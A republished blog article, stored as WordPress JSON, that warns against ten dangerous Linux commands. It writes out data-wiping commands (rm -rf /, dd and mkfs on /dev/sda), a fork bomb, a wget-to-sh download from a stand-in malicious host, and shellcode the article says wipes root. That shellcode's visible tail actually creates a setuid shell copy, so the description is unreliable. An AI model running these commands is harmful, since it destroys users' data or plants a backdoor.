{"id":12383,"date":"2019-03-26T21:59:58","date_gmt":"2019-03-26T21:59:58","guid":{"rendered":"http:\/\/www.appservgrid.com\/paw92\/?p=12383"},"modified":"2019-03-26T21:59:58","modified_gmt":"2019-03-26T21:59:58","slug":"10-most-dangerous-commands-you-should-never-execute-on-linux","status":"publish","type":"post","link":"https:\/\/www.appservgrid.com\/paw92\/index.php\/2019\/03\/26\/10-most-dangerous-commands-you-should-never-execute-on-linux\/","title":{"rendered":"10 Most Dangerous Commands \u2013 You Should Never Execute on Linux"},"content":{"rendered":"<p>Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of\u00a0<strong>Linux<\/strong>\u00a0or\u00a0<strong>Linux command line<\/strong>. We just want to make you aware of some of the commands which you should think twice before you execute them.<\/p>\n<div id=\"attachment_4810\" class=\"wp-caption aligncenter\">\n<p><a href=\"https:\/\/www.tecmint.com\/wp-content\/uploads\/2013\/11\/Dangerous-Linux-Commands.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4810\" src=\"https:\/\/www.tecmint.com\/wp-content\/uploads\/2013\/11\/Dangerous-Linux-Commands.png\" alt=\"Dangerous Linux Commands\" width=\"435\" height=\"321\" aria-describedby=\"caption-attachment-4810\" data-lazy-loaded=\"true\" \/><\/a><\/p>\n<p id=\"caption-attachment-4810\" class=\"wp-caption-text\">10 Dangerous Linux Commands<\/p>\n<\/div>\n<h3>1. rm -rf Command<\/h3>\n<p>The\u00a0<strong>rm -rf<\/strong>\u00a0command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with\u00a0<strong>rm command<\/strong>\u00a0are.<\/p>\n<ol>\n<li><strong>rm<\/strong>\u00a0command in Linux is used to delete files.<\/li>\n<li><strong>rm -r<\/strong>\u00a0command deletes the folder recursively, even the empty folder.<\/li>\n<li><strong>rm -f<\/strong>\u00a0command removes \u2018Read only File\u2019 without asking.<\/li>\n<li><strong>rm -rf \/<\/strong>\u00a0: Force deletion of everything in root directory.<\/li>\n<li><strong>rm -rf *<\/strong>\u00a0: Force deletion of everything in current directory\/working directory.<\/li>\n<li><strong>rm -rf .<\/strong>\u00a0: Force deletion of current folder and sub folders.<\/li>\n<\/ol>\n<p>Hence, be careful when you are executing\u00a0<strong>rm -rf<\/strong>\u00a0command. To overcome accidental delete of file by \u2018<strong>rm<\/strong>\u2018 command, create an alias of \u2018<strong>rm<\/strong>\u2018 command as \u2018<strong>rm -i<\/strong>\u2018 in \u201c<strong>.bashrc<\/strong>\u201d file, it will ask you to confirm every deletion.<\/p>\n<h3>2. :(){:|:&amp;};: Command<\/h3>\n<p>The above is actually a\u00a0<strong>fork bomb<\/strong>. It operates by defining a function called \u2018<strong>:<\/strong>\u2018, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.<\/p>\n<pre>:(){:|:&amp;};:<\/pre>\n<h3>3. command &gt; \/dev\/sda<\/h3>\n<p>The above command writes the output of \u2018<strong>command<\/strong>\u2018 on the block\u00a0<strong>\/dev\/sda<\/strong>. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.<\/p>\n<h3>4. mv folder \/dev\/null<\/h3>\n<p>The above command will move \u2018<strong>folder<\/strong>\u2018 to\u00a0<strong>\/dev\/null<\/strong>. In Linux\u00a0<strong>\/dev\/null<\/strong>\u00a0or\u00a0<strong>null<\/strong>\u00a0device is a special file that discards all the data written to it and reports that write operation succeed.<\/p>\n<pre># mv \/home\/user\/* \/dev\/null<\/pre>\n<p>The above command will move all the contents of a\u00a0<strong>User<\/strong>\u00a0directory to\u00a0<strong>\/dev\/null<\/strong>, which literally means everything there was sent to\u00a0<strong>blackhole<\/strong>\u00a0(<strong>null)<\/strong>.<\/p>\n<h3>5. wget http:\/\/malicious_source -O- | sh<\/h3>\n<p>The above command will download a script from a malicious source and then execute it. Wget command will download the script and\u00a0<strong>sh<\/strong>\u00a0will execute the downloaded script.<\/p>\n<p><strong>Note<\/strong>: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts\/applications which is downloaded from a trusted source.<\/p>\n<h3>6. mkfs.ext3 \/dev\/sda<\/h3>\n<p>The above command will format the block \u2018<strong>sda\u2019<\/strong>\u00a0and you would surely be knowing that after execution of the above command your Block (<strong>Hard Disk Drive<\/strong>) would be new,\u00a0<strong>BRAND NEW!<\/strong>\u00a0Without any data, leaving your system into unrecoverable stage.<\/p>\n<h3>7. &gt; file<\/h3>\n<p>The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like \u201c<strong>&gt; xt.conf\u201d<\/strong>\u00a0will write the configuration file or any other system or configuration file.<\/p>\n<h3>8. ^foo^bar<\/h3>\n<p>This command, as described in our\u00a0<a href=\"https:\/\/www.tecmint.com\/10-lesser-known-commands-for-linux-part-3\/\" target=\"_blank\" rel=\"noopener\">10 Lesser Known Linux Commands<\/a>, is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn\u2019t took the risk of thoroughly checking the change in original command using\u00a0<strong>^foo^bar<\/strong>\u00a0command.<\/p>\n<h3>9. dd if=\/dev\/random of=\/dev\/sda<\/h3>\n<p>The above command will wipe out the block<strong>\u00a0sda<\/strong>\u00a0and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.<\/p>\n<h3>10. Hidden the Command<\/h3>\n<p>The below command is nothing but the first command above (<strong>rm -rf<\/strong>). Here the codes are hidden in\u00a0<strong>hex<\/strong>\u00a0so that an ignorant user may be fooled. Running the below code in your terminal will wipe your\u00a0<strong>root<\/strong>\u00a0partition.<\/p>\n<p>This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don\u2019t compile\/run codes from an unknown source.<\/p>\n<pre>char esp[] __attribute__ ((section(\u201c.text\u201d))) \/* e.s.p\r\nrelease *\/\r\n= \u201c\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68\u2033\r\n\u201c\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99\u2033\r\n\u201c\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7\u2033\r\n\u201c\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56\u2033\r\n\u201c\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31\u2033\r\n\u201c\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69\u2033\r\n\u201c\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00\u2033\r\n\u201ccp -p \/bin\/sh \/tmp\/.beyond; chmod 4755\r\n\/tmp\/.beyond;\u201d;<\/pre>\n<p><strong>Note<\/strong>: Don\u2019t execute any of the above command in your\u00a0<strong>Linux<\/strong>\u00a0terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the\u00a0<strong>Author<\/strong>\u00a0of the article nor\u00a0<strong>Tecmint<\/strong>\u00a0is responsible.<\/p>\n<p>That\u2019s all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to\u00a0<strong>Tecmint<\/strong>. If you know any other such\u00a0<strong>Dangerous Linux Commands<\/strong>\u00a0and you would like us to add to the list, please tell us via comment section and don\u2019t forgot to give your value-able feedback.<\/p>\n<p><a href=\"https:\/\/www.tecmint.com\/10-most-dangerous-commands-you-should-never-execute-on-linux\/\" target=\"_blank\" rel=\"noopener\">Source<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of\u00a0Linux\u00a0or\u00a0Linux command line. We just want to make you aware of some of the commands which you should think twice &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/www.appservgrid.com\/paw92\/index.php\/2019\/03\/26\/10-most-dangerous-commands-you-should-never-execute-on-linux\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;10 Most Dangerous Commands \u2013 You Should Never Execute on Linux&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-12383","post","type-post","status-publish","format-standard","hentry","category-linux"],"_links":{"self":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/12383","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/comments?post=12383"}],"version-history":[{"count":1,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/12383\/revisions"}],"predecessor-version":[{"id":12384,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/12383\/revisions\/12384"}],"wp:attachment":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/media?parent=12383"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/categories?post=12383"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/tags?post=12383"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}